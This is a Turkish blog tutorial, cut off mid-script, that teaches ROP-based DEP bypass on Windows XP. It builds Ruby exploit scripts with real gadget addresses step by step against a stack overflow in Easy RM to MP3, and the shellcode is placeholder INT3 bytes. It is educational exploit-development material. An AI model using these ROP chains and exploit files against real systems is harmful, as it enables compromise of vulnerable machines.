Öncelikle şunu belirtmekte fayda var bu makale Türkiye güvenlik & hacking topluluğuna destek amaçlı teknik konularda bilgi ve beceri kazandırabilme adına yazılmıştır. Makalede eksik ya da yanlış gördüğünüz kısımları lütfen yorum olarak/e-mail ile bana ulaştırınız gerekli düzenlemeleri hep birlikte yapalım. Ayrıca şunuda belirtmek lazım şuan için bu makalede sadece Windows üzerinde DEP korumasının ROP tekniği ile aşılması ele alınmıştır, başka işletim sistemleri içinde ilerleyen süreçte yazabilirim -vakit olursa- umarım.
"Neden ROP tekniğine ihtiyaç duyuyoruz?" sorusuna cevap olarak DEP diyebiliriz. DEP, Windows sistemlerde Stack'in NX (No eXecute) yani üzerinde kod çalıştırılamaz hale getirilmesini sağlayan bir korunma yöntemidir (Açılımı "Data Execution Prevention"). ROP ise Windows'un DEP korumasını aşmak ve NX Stack üzerinde kod çalıştırabilmek için kullanılan bir tekniktir.
Daha önce exploiting ile uğraşmış olanlar bilirler, ret2lib tekniğini. ROP tekniğide işte tam bu tekniğin yaptığını peşpeşe birçok adrese "return" olarak yapıyor ve bir şekilde stack'i üzerinde kod çalıştırılabilir hale getiriyor ya da Memory'de RWX bir alana Shellcode'unuzu yazmanızı ve çalıştırmanızı sağlıyor (DEP Bypass için birçok yöntem mevcut..). Yani genel amaç mevcut olan kodları register'lardaki değerleri değiştirmek, kullanacağınız API'nin parametrelerini ayarlamak v.b için tekrar kullanmaktır. Mevcut olan kodlardan kastımız ise gadget'lar olarak geçen kod parçaları. Tanım kolay gözüksede birazdan makalenin uygulama kısmında mevcut kodlar ile kod yazmanın zorluklarını çekeceğiz o yüzden rahatlamayın :)
ROP için kısacası şunları diyebiliriz;
- ret2lib tekniğine benzer
- Code Re-use işlemine dayanmaktadır
- DEP Bypass için idealdir
- Gadget'lar kullanılmaktadır
Bu makalede VirtualProtect API'si ile Shellcode'umuzun hafızada bulunduğu alanı çalıştırılabilir hale getirerek oraya zıplayacağız. VirtualProtect Tekniğini seçmemin sebebi birçok farklı Windows sistemde işe yarıyor olması.
VirtualProtect fonksiyonunun yapısı aşağıdaki şekildeki gibidir.
VirtualProtect Fonksiyonu [1] |
- Return Address, stack'de ilk olarak return adres belirtmemiz gerekiyor ki VP fonksiyonu işlemini tamamladığında o adrese geri dönsün.
- lpAddress parametresine VP fonksiyonunun korunma şeklini değiştireceği alana işaret eden bir adres girmemiz gerekiyor.
- dwSize parametresine VP fonksiyonunun korunma şeklini değiştireceği alanın uzunluğunu girmemiz gerekiyor.
- flNewProtect parametresine hafızanın korunma şeklini belirten sabitlerden bir değeri girmemiz gerekiyor. Bu sabitler Şekil-2'deki gibidir.
- lpflOldProtect parametresine ise yazılabilir bir hafıza alanından pointer girmemiz gerekiyor, zira VP fonksiyonu bir önceki korunma şekline bakıyor aksi takdirde fonksiyonu başarısız oluyor. Yani bizim gireceğimiz yazılabilir hafıza alanına ait sahte adres VP fonksiyonunu kandırıyor.
Memory Protection Constants [2] |
Örneğin 0x10203040 adresinde bir shellcode'umuz var ve uzunluğu 400 byte. Shellcode'umuzun bulunduğu alanın korunma şeklini değiştirmek için VirtualProtect fonksiyonunu çağırmamız Stack üzerinde şu şekilde olacaktır;
- 0x7C801AD4 - VP()'nin Adresi
- 0x10203040 - Return Adresi
- 0x10203040 - lpAddress parametresi
- 0x00000190 - dwSize parametresi
- 0x00000040 - flNewProtect parametresi (0x40 = PAGE_EXECUTE_READWRITE)
- 0x30405060 - lpflOldProtect parametresi (Yazılabilir bir alandaki pointer)
Yani biz kontrolünü sağladığımız uygulamanın akışını buraya yönlendirirsek VP() fonksiyonu bu parametreler ile çalıştırılacak ve 0x10203040 adresinden itibaren 0x190 (400 byte)'lık alan çalıştırılabilir olarak işaretlenecektir ve uygulamanın akışı 0x10203040 adresinden itibaren devam edecektir. Kısacası DEP bypass edilecektir :>
VirtualProtect fonksiyonunun adresini bulmak için kernel32.dll dosyasını IDA gibi bir disassembler ile açarak Export edilen fonksiyonları görüntülediğiniz Exports penceresinden bulabilirsiniz, aynen aşağıdaki gibi.
Gadget Nedir?
Gadget, kodlar barındıran ve akışın tekrar stack'e dönüp stack'teki bir sonraki DWORD değeri alıp o adresten kod çalıştırmaya devam etmesini sağlayan kod parçalarıdır. Stack'e geri dönülüp alınan değerdeki adresten kod çalıştırılmaya devam edilmesini sağlayan Assembly instruction'ı ise RET ve türevleridir. Aşağıdaki kod parçası için bir "gadget"tır diyebiliriz.
Gadget:
0x7C102030 PUSH EAX
0x7C102031 POP ECX
0x7C102032 POP ESI
0x7C102033 RETN
Stack:
0x7C102030
0xDEADBEEF
0x10014060
Bu gadget kısaca şunu yapıyor, EAX'deki değeri PUSH ediyor yani stack'e yolluyor, POP ECX instruction'ı ile PUSH edilen değeri ECX'e alıyor, POP ESI ile stack'ten DWORD'lük bir değeri (0xDEADBEEF) ESI'ye alıyor ve en son RETN ile ESI'ye aktarılan değerden sonraki DWORD değerdeki adresten (0x10014060) çalışmaya devam ediyor. (Not: Buradaki adresler örnek amaçlıdır ve gerçek değildir, sonra vay efendim ben 0x7C102030'a baktım böyle bir gadget yok demeyelim :) )
- Adım: EAX'ın değeri stack'te
- Adım: ECX = EAX
- Adım: ESI = 0xDEADBEEF
- Adım: Stack'e geri dön ve 0x10014060 adresinden başlayarak bir sonraki RETN'e kadar çalıştır.
Buraya kadar olan kısım anlaşıldı ise artık elleri kirletmenin vakti geldi demektir. Şimdi örnek bir Stack Overflow zafiyetli uygulama üzerinden DEP'in aktif olduğu bir sistemde gadget'ları biraz daha anlamak için pratik yapacağız. Sonraki kısımda ise yine aynı uygulamadaki zafiyet için bir ROP exploit'i yazacağız.
Gadget'ları Anlamak
Hedef olarak Easy RM2MP3 adındaki klasik stack overflow zafiyeti olan programı kullanacağız. File format tabanlı bir zafiyeti seçmemin sebebi ilk aşamada rahat rahat kullanabileceğimiz bir stack'e sahip olmamız. İşletim sistemi olarakta XP SP3'ü hedef aldık ve DEP koruması olarakta OptIn'i seçtim (AlwaysOn yaptığınızda reboot etmeniz gerekmekte ben biraz üşengeçlik yaptığımdan OptIn'i seçtim :> )
Ruby ile ilk aşamada basit bir PoC yazdım. Bu PoC rop.m3u adında bir dosya oluşturacak, bu dosyanın içerisinde bizim payload'umuz olacak ve hedef uygulamada bu dosyayı açacağız.
PoC.rb
filename = "rop.m3u" buffersize = 26109 junk = "A" * buffersize eip = [0x1002DC2A].pack("V*") # RET # rop payload rop = "FFFF" rop << [0x1002E796].pack("V*") # POP EAX + POP EBP + RET rop << [0x44444444].pack("V*") # Will be pop'd to EAX rop << [0x88888888].pack("V*") # Will be pop'd to EBP rop << [0x1002DC4C].pack("V*") # ADD EAX, 100 + POP EBP + RET rop << [0xC00FFEEE].pack("V*") # Will be pop'd to EBP rop << [0x100155D7].pack("V*") # INT 3 # shellcode to execute from stack when ROP success shellcode = ("C" * 900) payload = "#{junk}#{eip}#{rop}#{shellcode}" puts "Payload size : #{payload.length}" File.open("rop.m3u", "w") { |f| f.write(payload) }
Kullanmış olduğum instruction'lar şu adreslerde yer alıyor sırasıyla;
- 0x1002DC2A
- 0x1002E796
- 0x1002DC4C
- 0x100155D7
0x1002E796 adresindeki gadget |
POP EAX İşlemi |
POP EAX işlemi sonunda stack'teki 0x44444444 değeri EAX'e yüklendi (Not: Resimlerin üzerine tıklayarak büyük hallerini görebilirsiniz).
POP EBP İşlemi |
POP EBP işlemi sonunda stack'teki 0x88888888 değeri EBP'ye yüklendi. Sonrasında RETN instruction'ı ile stack'e döndük ve programın akışı 0x1002DC4C adresine yönlendi.
ADD EAX, 100 İşlemi |
Bu işlem ile EAX'a 0x100 (Decimal olarak: 256) değerini ekledik. Yani EAX 0x44444444 idi, bu işlemden sonra 0x44444444 + 0x100 = 0x44444544 oldu. Aşağıdaki ekran görüntüsünden EAX'in yeni değerini görebilirsiniz.
POP EBP ve EAX = 0x44444544 |
Gördüğünüz gibi şu ana kadar ki tüm işlemleri gadget'larımız ile gerçekleştirdik. POP EBP işleminden sonrada EBP'nin yeni değeri stack'teki 0xC00FFEE olacaktır. Yorulan ya da uykusu gelen varsa okumaktan bir 0xC00FFEEE alsın kendine :))
RETN ve EBP = 0xC00FFEEE |
Bu aşamaya kadar başarılı bir şekilde uygulama yaptıysanız artık exploiting aşamasına geçebiliriz.
Exploiting
Exploiting aşamasında ilk olarak ROP gadget'ları çıkartabileceğimiz ve program tarafından yüklenen kütüphaneleri bulmamız ve o kütüphaneleri hafızadaki durumlarına göre filtrelememiz gerekiyor. ImmDbg'in pvefindaddr eklentisi ile kolayca bunu yapabiliriz. ImmDbg komut satırında !pvefindaddr noaslr komutunu çalıştırarak log penceresine bakıyoruz.
Yüklenen DLL'ler |
ASLR'nin etkin olmadığı ve BaseFixup (Yani modül her zaman aynı base adreste konumlanmayabilir) olmayan modüllerde ROP gadget'ları aramak yazacağımız exploit'in için daha stabil çalışmaları için etkili olacaktır. Exploitimizi yazmaya başlıyoruz..
Exploit'imizin yapısı şu şekilde olabilir.
ROP Exploit Yapısı |
Normalde shellcode'umuzun adresini dinamik olarak hesaplamak haricinde pek bir gadget'a ihtiyaç yok gibi duruyor. Fakat VP fonksiyonunun diğer parametreleri NULL byte (0x00) içerdiği için ve hedef uygulama NULL byte'ları öldürdüğü için mecburen diğer parametreleride dinamik olarak oluşturup ilgili konumlarına yazacağız. İlk olarak şunu yapıyoruz, EIP'e sadece RET instruction'ını barındıran bir adres yazacağız ve stack'e geri döneceğiz. Ardından shellcode'umuzun adresini hesaplayabilmek için ESP'yi bir yada birden çok register'da saklayacağız ve daha sonra diğer işlemlerimize geçeceğiz. İlk gadget'ımız 0x1002DC2A adresinde ve sadece RETN instruction'ı içeriyor, kısacası hemen stack'e dönecek ve bir sonraki adrese giderek oradaki instruction'ları çalıştıracak. Bir sonraki instruction'ınımın adresi ise 0x5AD79277 ve bu gadget PUSH ESP + MOV EAX, EDX + POP EDI + RET instruction'larını içeriyor. ESP'ideki değeri EDI'yede atıyor.
EDI = ESP |
Bir kaç register'da daha ESP'yi saklamak faydalı olacaktır daha sonraki işlemler için. Bunun için bulduğum gadget'lar şu adreslerde 0x77C34DC2 ve 0x775D131E. İlk gadget MOV EAX,EDI instruction'ı ile EDI'yi (EDI = ESP) EAX'a taşıyor, ikinci gadget ise PUSH EAX + POP ESI instruction'ları ile EAX'ı (EAX = ESP) stack'e PUSH ediyor ve daha sonra o değeri ESI'ye alıyor. Son durumda register'ların durumu şu şekilde;
EAX = 0x000FF734
EDI = 0x000FF734
ESP = 0x000FF734
ESI = 0x000FF734
VirtualProtect fonksiyonunu temsili bir şekilde stack'te yer edindirmek içinde parametreleri rastgele değerler ile exploitimize giriyoruz.
Exploit:
filename = "rop2.m3u" buffersize = 26109 junk = "A" * buffersize eip = [0x1002DC2A].pack("V*") # RET # rop payload rop = "FFFF" rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x33445566].pack("V*") # trash for POP rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN # EDI, ESI ve EAX ESP'nin değerine sahipler # VirtualProtect rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll rop << [0x44444444].pack("V*") rop << [0x45454545].pack("V*") rop << [0x46464646].pack("V*") rop << [0x47474747].pack("V*") rop << [0x10035005].pack("V*") nops = ("\x90" * 100) shellcode = ("\xCC" * 350) junk2 = ("\xCC" * (600 - shellcode.length)) payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}" puts "Payload size : #{payload.length}" File.open("rop2.m3u", "w") { |f| f.write(payload) }
VirtualProtect fonksiyonunun çalıştırılmaması için ESP'yi biraz arttırarak VirtualProtect ve parametrelerini aşmamız gerekmekte. VP() yer tutucusu 6 DWORD'den oluşmakta. 6 DWORD demek 6 x 4 = 24 byte demek. ADD ESP, 18 gibi instruction benim için bu işlemi yapacaktır. 0x77C22894 adresinde işimi görebilecek bir gadget mevcut. ADD ESP,20 + POP EBP + RET instruction'larından oluşan bu gadget ile ESP'yi 32 byte (20h = 32d) kaydırabilmem mümkün. Şunuda not olarak eklemek gerekmekte. Exploit'te görebileceğiniz gibi 0x77C34DC2 gadget'ından sonra ROP Payload'uma 0x33445566 gibi bir değer daha ekledim. Bu değer POP ESI instruction'ına atanacak. Önemsiz bir değerde olsa mutlaka bir değer verilmeli gadget içinde eğer POP instruction'ı varsa, yoksa POP instruction'ları stack'ten bir sonraki değeri alacaktır ve ROP Payload'unuz istediğiniz gibi çalışmayacaktır. 0x5AD79277 gadget'ında da POP işlemi var ama herhangi bir değer neden girmedik diye soracaksanız bunun cevabı zaten gadget'ın içerisinde. PUSH işlemi bir DWORD değeri stack'e attı, sonrasındaki POP işlemi ise o atılan değeri otomatik olarak aldı. Gadget, PUSH ESP + POP EDI + POP EAX şeklinde olsaydı benim ROP Payload'um şu şekilde olacaktı.
rop << [0x5AD79277].pack("V*") # PUSH + POP + POP rop << [0x44332255].pack("V*") # En son POP için
Kaldığımız yerden devam.. Exploit'imin son hali şu şekilde;
Exploit:
filename = "rop2.m3u" buffersize = 26109 junk = "A" * buffersize eip = [0x1002DC2A].pack("V*") # RET # rop payload rop = "FFFF" rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x33445566].pack("V*") # trash for POP rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN # EDI, ESI ve EAX ESP'nin değerine sahipler rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET rop << [0x41414141].pack("V*") # trash for POP # VirtualProtect rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll rop << [0x44444444].pack("V*") rop << [0x45454545].pack("V*") rop << [0x46464646].pack("V*") rop << [0x47474747].pack("V*") rop << [0x10035005].pack("V*") rop << [0x61616161].pack("V*") # add esp,20 için rop << [0x61616161].pack("V*") # add esp,20 için rop << [0x77887788].pack("V*") nops = ("\x90" * 100) shellcode = ("\xCC" * 350) junk2 = ("\xCC" * (600 - shellcode.length)) payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}" puts "Payload size : #{payload.length}" File.open("rop2.m3u", "w") { |f| f.write(payload) }
VP()'den sonra koymuş olduğum iki adet 0x61616161 değerleri toplamda boyutu 32'ye tamamlamak içindi. Aksi halde ESP istediğim yere işaret etmeyecekti. Eğer herşey doğru ise ESP'nin değeri 20h (32d) artmalı ve bir sonraki çalıştırılacak gadget olarak 0x77887788 adresine gitmeye çalışmalı programın akışı. 0x5AD79277 adresine breakpoint koyup dosyayı hedef program ile açıyoruz ve EIP 0x77887788 olana kadar Step Over (F8) yaparak gidiyoruz. Aşağıdaki resime bakarsanız, register'lardaki kaydedilmiş ESP değerlerini görebilirsiniz. Bir sonraki resimden ise EIP'in 0x77887788 adresine gitmeye çalıştığını görebilirsiniz. Eğer bu adımları başarıyla gerçekleştirdiyseniz, artik VP() fonksiyonuna müdahele ederek parametreleri istenilen değerlere atama aşamasına geçebiliriz.
Register'ların Son Durumu |
Sonraki Adımda EIP |
EDI, ESI ve EAX register'larında ESP'nin ilk baştaki değeri mevcut. Bu değere göre bir register'ı shellcode'umun adresine eşitleyeceğim VP()'nin ilk iki parametresi için. Öncelikle shellcode'umun adresine bakıyorum.
Stack'in Durumu |
İlk parametreyi atamak için saved ESP'ye sahip register'lardan bir tanesini temel pointer olarak kullanıp işaret ettikleri değerleri değiştirebilmemiz lazım. Şuan için elimizde ESI ve EDI kaldı sadece saved ESP'ye sahip register'lar olarak. Bulmuş oldupum gadget'lar arasındaki en kullanışlısı 0x7301D6EA adresindeki gadget. Bu gadget şu instruction'lara sahip;
MOV DWORD PTR DS:[ESI+18],EAX MOV DWORD PTR DS:[ESI+1C],EAX MOV EAX,ESI POP ESI POP EBP RETN 4
Görüleceği gibi gadget ESI+18 ve ESI+1C adreslerine EAX'in değerini yazıyor. ESI (0x000FF734) + 0x18 (24d) = 0x000FF74C ve ESI (0x000FF734) + 0x1C (28d) = 0x000FF750.
0x000FF74C adresinde DDDD ve 0x000FF750 adresinde ise EEEE değerleri var. Bulmuş olduğum gadget tek atışta DDDD ve EEEE değerlerini EAX'in değerine eşitleyeceğiz.
Bulmuş olduğumuz kullanışlı gadget'ımız sayesinde tek atışta 0x000FF74C ve 0x000FF750 adreslerine EAX'ın değerini yazdırdık. Ama şuan için sorunumuz gadget içerisindeki MOV EAX, ESI ve POP ESI instruction'larının mevcut değerleri bozması. Bir sonraki gadget ile bu değerleri kurtarmamız gerekecek. Bunun içinde daha önceden kullandığımız MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget'larını kullanacağız. Exploitimizin son hali şu şekilde olmalı.
filename = "rop2.m3u" buffersize = 26109 junk = "A" * buffersize eip = [0x1002DC2A].pack("V*") # RET # rop payload rop = "FFFF" rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x33445566].pack("V*") # trash for POP rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN # EDI, ESI ve EAX ESP'nin değerine sahipler rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET rop << [0x41414141].pack("V*") # trash for POP # VirtualProtect rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll rop << [0x44444444].pack("V*") rop << [0x45454545].pack("V*") rop << [0x46464646].pack("V*") rop << [0x47474747].pack("V*") rop << [0x10035005].pack("V*") rop << [0x61616161].pack("V*") # add esp,20 için rop << [0x61616161].pack("V*") # add esp,20 için # EAX'i shellcode'a işaret ettiriyoruz rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll rop << [0x41414141].pack("V*") # trash for POP EBP # EAX = 0x000FF834 # EDI = 0x000FF734 # ESI = 0x000FF734 # Overwrite first & second parameter of VP() rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll rop << [0x41414141].pack("V*") # trash for POP ESI rop << [0x41414141].pack("V*") # trash for POP EBP # EAX = 0x000FF834 # EDI = 0x000FF734 # ESI = 0x41414141 rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x14141414].pack("V*") # trash for RETN 4 rop << [0x62626262].pack("V*") # trash for POP ESI rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN nops = ("\x90" * 100) shellcode = ("\xCC" * 350) junk2 = ("\xCC" * (600 - shellcode.length)) payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}" puts "Payload size : #{payload.length}" File.open("rop2.m3u", "w") { |f| f.write(payload) }
RETN+N şeklindeki instruction'lar için kısa bir bilgilendirme yapmak lazım. Bu tip durumlarda N adet DWORD'ü bir sonraki instruction'dan sonra konumlandırmak lazım aksi takdirde ROP Payload'umuz istediğimiz gibi çalışmayacaktır. Bunun sebebi ise RETN+N komutu çalıştırıldığı zaman stack'ten N kadar parametrenin POP edilmesidir.
ROP Payload'una bakacak olursanız ESI ve EAX'ı kurtardık. Bir sonraki görevimiz ESI+20 (0x000FF754) konumuna korunma durumunu değiştireceğimiz alanının boyutunu girmek (VP()'nin 3.parametresi). Bunun için yine EAX'i kullanabiliriz. Öncelikle EAX'i sıfırlıyoruz, XOR EAX, EAX işlemini yapan bir gadget buluyoruz. Bu arada gadget bulma işlemi için debugger'ın arama özelliğini ya da pvefindaddr gibi bir PyCommand'ı kullanabilirsiniz, tercihinize kalmış bir durum. 0x100307A9 adresindeki XOR EAX, EAX gadget'ı ile EAX'ı 0(sıfır)'a eşitliyoruz. Daha sonra 0x77C4EC2B adresindeki ADD EAX, 100 gadget'ı ile EAX'ı 100h'ye eşitliyoruz. ADD EAX, 100 gadget'ını 4 kez çalıştırırsak EAX'a 0x400 (1024d) gibi bir değer atanacaktır ki bu boyut shellcode'umuz için oldukça kullanışlı. ROP Payload'umuza aşağıdaki eklemeyi yapıyoruz.
rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN rop << [0x41414141].pack("V*") # trash for POP EBP rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN rop << [0x41414141].pack("V*") # trash for POP EBP rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN rop << [0x41414141].pack("V*") # trash for POP EBP rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN rop << [0x41414141].pack("V*") # trash for POP EBP
Artık EAX, 0x400 değerine eşit. Yani VP()'nin 3.parametresi stack üzerindeki. Yine çok kullanışlı olarak bulduğum gadget'lardan 0x775DD86D gadget'ını kullanıcam. Bu gadget'ın komutları şu şekilde;
MOV DWORD PTR DS:[ESI+20],EAX POP ESI POP EBX POP EBP RETN 4
Bir önceki parametre yazma işleminde olduğu gibi ESI+20 stack üzerinde VP()'nin 3.parametresine denk geliyor. Ayrıca bazı durumlarda daha kullanışlı olan NEG instruction'ı ile değeri elde etmek daha kısa olabiliyor. NEG instruction'ı verdiğiniz değeri 0xFFFFFFFF ile XOR'luyor. Ufak bir Ruby kodu yazdım ve 1024d elde etmek için hangi değeri kullanmam gerektiğini bulmaya yarıyor.
# negazord.rb searchval = ARGV[0] for i in 0..31337 total = 0xFFFFFFFF - i negazored = "0x%08x" % (total ^ 0xFFFFFFFF) if negazored.to_i(16) == searchval.to_i puts "[+] founded! 0x#{total.to_s(16).upcase}" end end
Şu şekilde kullanarak 0xFFFFFBFF değerinin 0x400 yapacağını buldum.
[cb@world:~]> ruby Codes/ruby/negazord.rb 1024 [+] founded! [+] NEG (0xFFFFFBFF) = 0x00000400 (1024d)
EAX'e 0xFFFFFBFF değerini POP edip ardından EAX'ı NEG işlemine tabi tutmalıyım. 0x77C4E0DA adresindeki gadget POP EAX + RETN içeriyor, EAX'ı 0xFFFFFBFF'e eşitledik. 0x77C1D1E3 adresindeki gadget ise NEG EAX + POP EBP + RETN içeriyor ve EAX'ı NEG instruction'ı ile 0x400 yaptık.
rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400 rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll rop << [0x41414141].pack("V*") # trash for POP EBPExploit'imi NEG instruction'ı kullanacak şekilde güncelledim ve ADD EAX, 100 gadget'larını kaldırdım. Daha önceden yaptığım gibi yine ESI'yi kurtarmam lazım bunun içinde daha önceden kullanmış olduğum MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget'larını kullanacağım. Bu gadget'lar ile ESI'yi tekrar 0x000FF734 değerine eşitledim. Tekrar EAX'i XOR ile sıfırlıyarak 4.parametre olan 0x40'a eşitleyeceğim. 0x7C972250 adresinde ADD EAX, 40 instruction'ına sahip bir gadget var onu kullanacağız ve son olarak 0x77ECF538 adresindeki MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN instruction'ı ile ESI+24'e yani 4.parametreye 0x40 yazdıracağız. Exploit'in ve stack'in son hali şu şekilde.
Exploit:
filename = "rop2.m3u" buffersize = 26109 junk = "A" * buffersize eip = [0x1002DC2A].pack("V*") # RET # rop payload rop = "FFFF" rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x33445566].pack("V*") # trash for POP rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN # EDI, ESI ve EAX ESP'nin değerine sahipler rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET rop << [0x41414141].pack("V*") # trash for POP # VirtualProtect rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll rop << [0x44444444].pack("V*") rop << [0x45454545].pack("V*") rop << [0x46464646].pack("V*") rop << [0x47474747].pack("V*") rop << [0x10035005].pack("V*") rop << [0x61616161].pack("V*") # add esp,20 için rop << [0x61616161].pack("V*") # add esp,20 için # EAX'i shellcode'a işaret ettiriyoruz rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll rop << [0x41414141].pack("V*") # trash for POP EBP # EAX = 0x000FF834 # EDI = 0x000FF734 # ESI = 0x000FF734 # Overwrite first & second parameter of VP() rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll rop << [0x41414141].pack("V*") # trash for POP ESI rop << [0x41414141].pack("V*") # trash for POP EBP # EAX = 0x000FF834 # EDI = 0x000FF734 # ESI = 0x41414141 rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x14141414].pack("V*") # trash for RETN 4 rop << [0x62626262].pack("V*") # trash for POP ESI rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN # EAX = 0x000FF734 # EDI = 0x000FF734 # ESI = 0x000FF734 # EAX'i shellcode size'a eşitliyoruz VP()'nin 3.parametresi olarak rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400 rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll rop << [0x41414141].pack("V*") # trash for POP EBP # EAX'i (0x300) ESI+20'ye taşıyoruz.. VP()'nin 3.parametresi rop << [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 > ole32.dll rop << [0x41414141].pack("V*") # trash for POP ESI rop << [0x41414141].pack("V*") # trash for POP EBX rop << [0x41414141].pack("V*") # trash for POP EBP # ESI tekrar kurtarıldı rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x41414141].pack("V*") # trash for RETN 4 rop << [0x14141414].pack("V*") # trash for POP ESI rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll # EAX'i VP()'nin 4.parametresi olan 0x40'a eşitliyoruz.. rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN > MSRMfilter03.dll rop << [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN > ntdll.dll rop << [0x41414141].pack("V*") # trash for POP EBP # ESI+24'e EAX(0x40)'i yazdiriyoruz.. rop << [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN > RPCRT4.dll rop << [0x41414141].pack("V*") # trash for POP ESI nops = ("\x90" * 100) shellcode = ("\xCC" * 350) junk2 = ("\xCC" * (600 - shellcode.length)) payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}" puts "Payload size : #{payload.length}" File.open("rop2.m3u", "w") { |f| f.write(payload) }
Stack'in Son Durumu |
İlk olarak EAX'ı tekrar kurtarmam lazım. Ne gerek var EDI'yi kullan diyebilirsiniz belki ama EDI ile çok fazla gadget bulunamayabiliyor. Bu yüzden yine MOV EAX,EDI + POP ESI + RETN gadget'ı ile EAX'ı tekrar 0x000FF734 değerine eşitliyorum.
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0x41414141].pack("V*") # trash for POP ESI
Aşağıdaki resimden görebileceğiniz üzere VirtualProtect'in adresi ve parametreleri 0x000FF748 adresinden itibaren başlıyor. O zaman benim EAX'ı 0x14 (20d) kadar arttırmam ve ardından EAX'ı ESP'ye taşımam lazım.
EAX'ı arttırmak için bulabildiğim gadget'lar 0x77C1F2CF adresindeki ADD EAX,0C + RETN ve 0x1001D2AC adresindeki ADD EAX,4 + RETN gadget'ları. Gadget'ları aşağıdaki şekilde çalıştırarak EAX'ı 0x000FF748'e eşitliyorum. Ardından 0x77C15ED5 adresinde bulmuş olduğum XCHG ESP,EAX + RETN gadget'ı ilede ESP'yi 0x000FF748 EAX'ı ise ESP'nin değerine eşitliyorum (Bu aşamadan sonra çok önemli değil EAX'ın başına gelenler).
Bingo! VP() fonksiyonu başarıyla çağırıldı, shellcode'umun bulunduğu alan kod çalıştırılabilir hale getirildi ve shellcode'um çalıştı!
Exploit çalıştırılmadan önce |
Exploit çalıştırıldıktan sonra |
Son olarak exploit'imin son hali:
filename = "rop2.m3u" buffersize = 26109 junk = "A" * buffersize eip = [0x1002DC2A].pack("V*") # RET # rop payload rop = "FFFF" rop << [0x5AD79277].pack("V*") # PUSH ESP + MOV EAX, EDX + POP EDI + RET rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET rop << [0xffffff14].pack("V*") # trash for POP rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll # EDI, ESI ve EAX saved ESP'ye sahipler rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP EBP + RET rop << [0x41414141].pack("V*") # trash for POP EBP # VirtualProtect Placeholder rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll rop << [0x44444444].pack("V*") rop << [0x45454545].pack("V*") rop << [0x46464646].pack("V*") rop << [0x47474747].pack("V*") rop << [0x10035005].pack("V*") rop << [0x61616161].pack("V*") # some padding for add esp,20 rop << [0x61616161].pack("V*") # EAX'i shellcode'a işaret ettiriyoruz rop << [0x77C4EC2B].pack("V*") # ADD 